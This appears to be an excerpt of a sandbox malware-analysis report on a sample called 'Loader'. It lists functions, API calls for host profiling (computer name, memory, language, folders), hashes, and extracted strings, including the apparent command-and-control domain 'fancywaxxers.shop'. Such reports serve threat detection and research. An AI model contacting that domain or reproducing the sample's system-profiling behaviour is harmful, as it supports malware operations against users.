Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: Ktrr$NCGA$^jk[$b,B$fancywaxxers.shop$gPRf$~~
API String ID: 0-3155797656
Opcode ID: 9732420e11d04317ffb174467f05412886ab3ecec205061c9218f6f2eccd2ce3
Instruction ID: 94f55b53ddaffc0f10203bef1cd3c4aa6590c85254d220e29af91e2d34122216
Opcode Fuzzy Hash: 9732420e11d04317ffb174467f05412886ab3ecec205061c9218f6f2eccd2ce3
Instruction Fuzzy Hash: EFB23175608351CBD314CF29D88126BBBE2FF86310F48897DE9D58B391DB789906CB86

Function 00434460 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004344A9
GetSystemMetrics.USER32 ref: 004344B9

Strings

lKC, xrefs: 00434683
EKC, xrefs: 00434620
rHC, xrefs: 004346C5
`LC, xrefs: 00434636
, xrefs: 004345A6

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID: $EKC$`LC$lKC$rHC
API String ID: 4116985748-523529498
Opcode ID: f14ede883a64fc22c4e803d8ae2d7de582ceef30be9ed441c710ed16ffbb3712
Instruction ID: ed053f1949e861fbaa0d96d56bbd1847bf0cf4b0b235e97d76566608e50df858
Opcode Fuzzy Hash: f14ede883a64fc22c4e803d8ae2d7de582ceef30be9ed441c710ed16ffbb3712
Instruction Fuzzy Hash: 16912FB45093808FE760DF14D58978BBBF1BBC5708F10892EE5988B351DBB99848DF4A

Function 0040D75B Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00434460: GetSystemMetrics.USER32 ref: 004344A9
Part of subcall function 00434460: GetSystemMetrics.USER32 ref: 004344B9

CoUninitialize.COMBASE ref: 0040D770

Strings

hSnY, xrefs: 0040D834
;8, xrefs: 0040DAD0
khZp, xrefs: 0040D808
fancywaxxers.shop, xrefs: 0040DB25

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: ;8$fancywaxxers.shop$hSnY$khZp
API String ID: 1128523136-1874093197
Opcode ID: 3cd5eabe0aded617b4ba2f9d7c918d7c30aa78df103585c26a0bd7b421f5f68d
Instruction ID: b74903e71e8f716a9a88ed692504ce4700a07b82aaccec82dcfcfa98f5602128
Opcode Fuzzy Hash: 3cd5eabe0aded617b4ba2f9d7c918d7c30aa78df103585c26a0bd7b421f5f68d
Instruction Fuzzy Hash: E891DFB090C3D18AD3358F2580907EBFBE1ABD7304F18496DD4DA6B392C7788509CB9A

Function 004087B0 Relevance: 7.7, APIs: 5, Instructions: 225
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004087D4
GetCurrentThreadId.KERNEL32 ref: 004087DE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004088FC
GetForegroundWindow.USER32 ref: 004089C1
ExitProcess.KERNEL32 ref: 00408A51

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 54462c685be16421f6194d86c174339d0282144dba7c7d0f03c2668cceba3d88
Instruction ID: 9a300c1681b891008e909fe3257d388318bfb44b29180f89294f6db9c3555df2
Opcode Fuzzy Hash: 54462c685be16421f6194d86c174339d0282144dba7c7d0f03c2668cceba3d88
Instruction Fuzzy Hash: AB613A72B443044FC318EF69CD5536AB6D69BC9310F09C53EA8C4AB3E5EE789C058A99

Function 00422F70 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00423041
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 004230F4

Strings

~~, xrefs: 004232AF

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ~~
API String ID: 237503144-3574127172
Opcode ID: c4c472e46fa3863ed812600143a1e91a35e575045751546efa44a3f4b90bf9b0
Instruction ID: be22e521949e80bfa6a031671857a5ba9b29f52d2d452f9ff4a016b8a06bfdda
Opcode Fuzzy Hash: c4c472e46fa3863ed812600143a1e91a35e575045751546efa44a3f4b90bf9b0
Instruction Fuzzy Hash: EB122FB6A083608BD310CF59E88021BBBF1FFD5314F14896DE9D59B350DB789A068B86

Function 00422830 Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 746COMMON

Download Yara Rule

Strings

~~, xrefs: 004232AF

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ~~
API String ID: 0-3574127172
Opcode ID: 47dd2df0fa5dd291b6f97a9fff72f1a02d2570d06c7a8b667f8be9833521f2e5
Instruction ID: 7dbfdddcb27124cc5a5c4f8af779dcc8181431db2658f0e649bf51fcd82c8dbe
Opcode Fuzzy Hash: 47dd2df0fa5dd291b6f97a9fff72f1a02d2570d06c7a8b667f8be9833521f2e5
Instruction Fuzzy Hash: B7320D75A18311CBD314CF28E84122BB7F2FF85315F08896DE9858B3A5DB78D946CB86

Function 0042DA21 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 736
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042DF1F

Strings

gue3, xrefs: 0042DFB6
CV,^, xrefs: 0042DFAE

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: CV,^$gue3
API String ID: 3960555810-3407280499
Opcode ID: f3ebf605be4dd65c58c762228fb8a13e8e5602d94894f8a1cf6226854c9fd278
Instruction ID: 98bee3bd0e59378419626ccd196ac9573ee343c68945e602011319479aa8ab1c
Opcode Fuzzy Hash: f3ebf605be4dd65c58c762228fb8a13e8e5602d94894f8a1cf6226854c9fd278
Instruction Fuzzy Hash: 5C221971A0C7A18BD325CF29D45036BBFD2AFD6314F1889AED4D99B341C6798806CB86

Function 0040CEC7 Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

18E245005AC07055C82A8148C6E54400, xrefs: 0040D010
y, xrefs: 0040CED1

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 18E245005AC07055C82A8148C6E54400$y
API String ID: 0-3975365502
Opcode ID: b35c5bb82a01e4a7c2276de52e7c42d158e759bc3991b7bdc95bf005c1ca11a9
Instruction ID: d13ed370f9a74bd7b192be9fef28f454f71df1e5009caa2d1751917904e576f4
Opcode Fuzzy Hash: b35c5bb82a01e4a7c2276de52e7c42d158e759bc3991b7bdc95bf005c1ca11a9
Instruction Fuzzy Hash: F55128729083908BD724CB34CC516EFB7D3EBD6358F198A3DD8C9A7292E77549018746

Function 00441F50 Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

@, xrefs: 00442001
1076, xrefs: 0044201F

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 1076$@
API String ID: 2994545307-367735841
Opcode ID: 4fbbcb8d525073f89878eba708add4101803d8ad08485b0c83275c496f97ac63
Instruction ID: 6080835bd154c549e24ed2745c425b690c6264ddf926f1aa5c5581f431cd1e19
Opcode Fuzzy Hash: 4fbbcb8d525073f89878eba708add4101803d8ad08485b0c83275c496f97ac63
Instruction Fuzzy Hash: 0C414370A043008BE704CF25D88176BB7E1EF95328F44862EF998573A1E7799909C78A

Function 0042D2FF Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042D398

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a8cd61548bb627cd29eb74a14310a77809775b5788a73ff04523b65aa42a5ad7
Instruction ID: 9c47b220125fd7b37665d45bd4979fc666182093a46d2320396b4aa24af95e72
Opcode Fuzzy Hash: a8cd61548bb627cd29eb74a14310a77809775b5788a73ff04523b65aa42a5ad7
Instruction Fuzzy Hash: 1C21C4766487428BE3208F7CEC923DBBBE69FC6314F68857DD598C7291DB7884068B01

Function 0043CFDB Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043CFFB

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aedaec0e2d58949988fc3ab68ae91bb68b8f1b976ef8575a48542654c1965c67
Instruction ID: 1f346047a94a575cb9e9090b5b75e991c9877b57263cff9fb7a1015185431757
Opcode Fuzzy Hash: aedaec0e2d58949988fc3ab68ae91bb68b8f1b976ef8575a48542654c1965c67
Instruction Fuzzy Hash: B0D0C930490220AAE2152F119D19F16BE34EB53343F025070B105260B38A30D935CAAD

Function 0043EEC0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441F2A,00000002,00000018,?,?,00000018,?,?,?), ref: 0043EEEE

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00420830 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

]B, xrefs: 00420957

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ]B
API String ID: 0-3526754052
Opcode ID: 1fd6be1f3779e7f1b2b7231725d9d40c36712ed4fae440efb7f288a22ef19163
Instruction ID: abee60704e6455fbf7b09025d8f3e9bde1ba2f3748414ee61b19bc2f054f4bbe
Opcode Fuzzy Hash: 1fd6be1f3779e7f1b2b7231725d9d40c36712ed4fae440efb7f288a22ef19163
Instruction Fuzzy Hash: F32157A1F1821187D310AF39CC51227B2E2EF92324F49862DE4D6CB396F73C9A41C796

Function 00440ED0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

@, xrefs: 00440F20

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 19a6e7360f83f39a3bdc91fe7abb6694e0420bf29f5f5c56e213f680fde1b919
Instruction ID: a46e369d106a639218644783b4726d9be4fc316d03f01d76ce16d15d354cb5da
Opcode Fuzzy Hash: 19a6e7360f83f39a3bdc91fe7abb6694e0420bf29f5f5c56e213f680fde1b919
Instruction Fuzzy Hash: 9121AD741083049BD310CF59D88166BB7F4FB8A324F14593DFA9887391D379D8598BAA

Function 00426B80 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 40f5f1595bb43a5231ce2cdf028601ad03ac207bb4dfd4b317dc7fd636096d1e
Instruction ID: 7b9b9bec463f649fdb6d53fd540be9c05b20f5d4e57a854244decb507e84e9ce
Opcode Fuzzy Hash: 40f5f1595bb43a5231ce2cdf028601ad03ac207bb4dfd4b317dc7fd636096d1e
Instruction Fuzzy Hash: EBC18F71B183614BDB14CE29E88166BB393EBD1314F9B853EE98587385D73CDC068399

Function 0043F23F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c67ccd4bc8fea41b065f08100cb3a35495d4ca712ca25f06c216555991bb6308
Instruction ID: b77085b18b636790fe0e7c692a17d30303a8a7faa170c9887c77d76401ebd4ee
Opcode Fuzzy Hash: c67ccd4bc8fea41b065f08100cb3a35495d4ca712ca25f06c216555991bb6308
Instruction Fuzzy Hash: FA215B756493419BE300CF16CC86F2BB3A3E7D5300F14D53AE590972E5C7B8D8058749

Function 0042D41A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D4E4

Strings

fy`T, xrefs: 0042D46A
pwut, xrefs: 0042D45F

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: fy`T$pwut
API String ID: 3545744682-1831210788
Opcode ID: 14bab3bf3b9f2bcd7640dc34512b6f924e17cdd87a41c78f647d25e089ed0ca5
Instruction ID: 1885bde83a69cb04e4bf2408e252280595401ea40af441bedd925f44b0c25624
Opcode Fuzzy Hash: 14bab3bf3b9f2bcd7640dc34512b6f924e17cdd87a41c78f647d25e089ed0ca5
Instruction Fuzzy Hash: 2A21F63450C3D18BDB248B34D8243FBBBD49F96315F580A5ED4CD87282C7389906CB56

Function 0042D414 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D4E4

Strings

fy`T, xrefs: 0042D46A
pwut, xrefs: 0042D45F

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: fy`T$pwut
API String ID: 3545744682-1831210788
Opcode ID: bb8ef7e29fa2041b95833efbf863433c530e121e49a3d293443c341171389dfc
Instruction ID: 3900cb29f253ed41e082e810bb159b9540be0b327d9fa7bfa8c3352265a65e98
Opcode Fuzzy Hash: bb8ef7e29fa2041b95833efbf863433c530e121e49a3d293443c341171389dfc
Instruction Fuzzy Hash: F511063460C7918BDB248B24C8287EBBBD49F86321F180A6DD4CE87281CB385902CB56

Function 0043FAEB Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043FAEB
GetForegroundWindow.USER32 ref: 0043FAFC

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: d96aaea63885c3684cea54249a921a3c99d167502c47268bf736eb4e630661ef
Instruction ID: 360bc417d1d8dd9390a0e24ce6050fade34dd00777f13f1fc800528296f11a8c
Opcode Fuzzy Hash: d96aaea63885c3684cea54249a921a3c99d167502c47268bf736eb4e630661ef
Instruction Fuzzy Hash: E4D0A7FDE421009BE3059B22FC0741A3716ABC321D7144838E80283322D9355535C5DF

Function 00438974 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004389A4

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: a3bad94d319ff360a0d8b43d14b801486623d4b0de6c3ba806984507380aa086
Instruction ID: 252dcf27f9fa6e433cc70b34e72e5d8f0341fedb36508920ab38289f71b5b6ca
Opcode Fuzzy Hash: a3bad94d319ff360a0d8b43d14b801486623d4b0de6c3ba806984507380aa086
Instruction Fuzzy Hash: CF119E749083948BCB54CB3899947E97BB16F5E320F0402EDD4CA973A2DA394A91CB1A

Function 0043EE40 Relevance: 1.5, APIs: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,0043A689,?,00004000,?,?,?,?,00000001,02CA7150,?,02CA7150,0041422A,?,02CA7150), ref: 0043EE80

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ff6e8024d7d04b7815bd8d9f02f2b81b673959d4091defb876d96e5cd63917c8
Instruction ID: 3b8860b3b236ddac0589c6032d2567cac11010f5a4172126ef7003019655eb2c
Opcode Fuzzy Hash: ff6e8024d7d04b7815bd8d9f02f2b81b673959d4091defb876d96e5cd63917c8
Instruction Fuzzy Hash: B9F02735458210EBE3001F25BD06A1B36B9AFCF711F06043AF54953165DB39E822C69F

Function 0042F100 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F149

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 78b47826cd9c7191f963fd9e12d95428478fb21e91424829ab5d201591ccd5f1
Instruction ID: 82d7010dc274e219821205fbd216af7676d574a6d79836a4e5278f121af04f3e
Opcode Fuzzy Hash: 78b47826cd9c7191f963fd9e12d95428478fb21e91424829ab5d201591ccd5f1
Instruction Fuzzy Hash: 20F0BDB4105701CFE314DF24D0A4756BBF0FB89704F10581CE0958B390C7B5A948DF82

Function 004330A8 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004330EC

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: febd1d751d134793378ae79c7edc84675fad8ca4d63014c10dd68467892fafa7
Instruction ID: 57e039d0e3db240c334139bd82a1f6e00200c207c1351fc728b076e1a82f5ff5
Opcode Fuzzy Hash: febd1d751d134793378ae79c7edc84675fad8ca4d63014c10dd68467892fafa7
Instruction Fuzzy Hash: 66F0B2B46083428FE314DF28C5A871BBBE4ABC9308F10891CE5948B390CBB59948CF83

Function 0043D010 Relevance: 1.5, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00414170,?), ref: 0043D041

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cfb754c56096ded825b04b4428b46e666d5f2ebbf0f9e1d3715968d205b0c28c
Instruction ID: 4a5130bfa37ba0c90ff3d4003636c7911055909ea7f0e2db61dbeeefdd43f40f
Opcode Fuzzy Hash: cfb754c56096ded825b04b4428b46e666d5f2ebbf0f9e1d3715968d205b0c28c
Instruction Fuzzy Hash: 70D01731059131EBE7102F58BC227863764EF8A322F0744B6A1005A076CA348C72CADA

Function 0040C880 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C893

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 315b55ef2c81f16b799c4e38da1d9b3e058f0e204c0cab6ff3317bcd90d19787
Instruction ID: eb3fa50a478c87baf5998608f04e651d4810f7e2c15724cbdbd46ab7fad430bc
Opcode Fuzzy Hash: 315b55ef2c81f16b799c4e38da1d9b3e058f0e204c0cab6ff3317bcd90d19787
Instruction Fuzzy Hash: A2D0A7355501846BD2006B5CFC57F163A2CE347765F800238B263DA1D1D9907910C5AA

Function 0040C8B3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8C5

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f769ace39f8d5f5b88ab531ad7474c94707e777291cfd92fb59bed67981d25f7
Instruction ID: e574dabc94603bd578d2f3871a0078f3cc67acac507f6305444acc64eb7ceff6
Opcode Fuzzy Hash: f769ace39f8d5f5b88ab531ad7474c94707e777291cfd92fb59bed67981d25f7
Instruction Fuzzy Hash: 1FD0C9383C83907AF6648708EC63F117215A743F21F300224B362FE6D0C9D071018A0D

Function 0043CFF0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043CFFB

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6ac0fb33b6a0edd37fa05207e1713f508a9d31a568ef396727efb2f7a1cb39bd
Instruction ID: 86fa58a74cb7c37287574853b7c9aa3a2e8b22e14629bd9432e346f094e3d579
Opcode Fuzzy Hash: 6ac0fb33b6a0edd37fa05207e1713f508a9d31a568ef396727efb2f7a1cb39bd
Instruction Fuzzy Hash: 95B09230080120EAE2151F11AD09B053A34AB52342F0240B0B101140B28A309935CA9D

Non-executed Functions

Function 00416E62 Relevance: 29.2, APIs: 4, Strings: 12, Instructions: 1238COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000002,00000000,00000000,?), ref: 004171B5

Strings

VWT, xrefs: 00417348
ke, xrefs: 004176DD
}v, xrefs: 004170AD
IwA, xrefs: 00417743
gfff, xrefs: 00417BD3
=N0L, xrefs: 00417338
X2c0, xrefs: 00416F18
Q, xrefs: 00417272
RJSM, xrefs: 004176CD
}v, xrefs: 00417373, 004173A2
O016, xrefs: 004174A8
\[\e, xrefs: 004176D5

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: =N0L$IwA$O016$Q$RJSM$X2c0$\[\e$gfff$ke$}v$}v$VWT
API String ID: 237503144-2405870987
Opcode ID: 89fd62f29cb1f33de3a33cef1478d890648c6abbe3884c39f794b49a6aa1a58f
Instruction ID: bffa345726b51c76a73c5f0c7d7699edc0ba153f300a5745b581033eb242c47b
Opcode Fuzzy Hash: 89fd62f29cb1f33de3a33cef1478d890648c6abbe3884c39f794b49a6aa1a58f
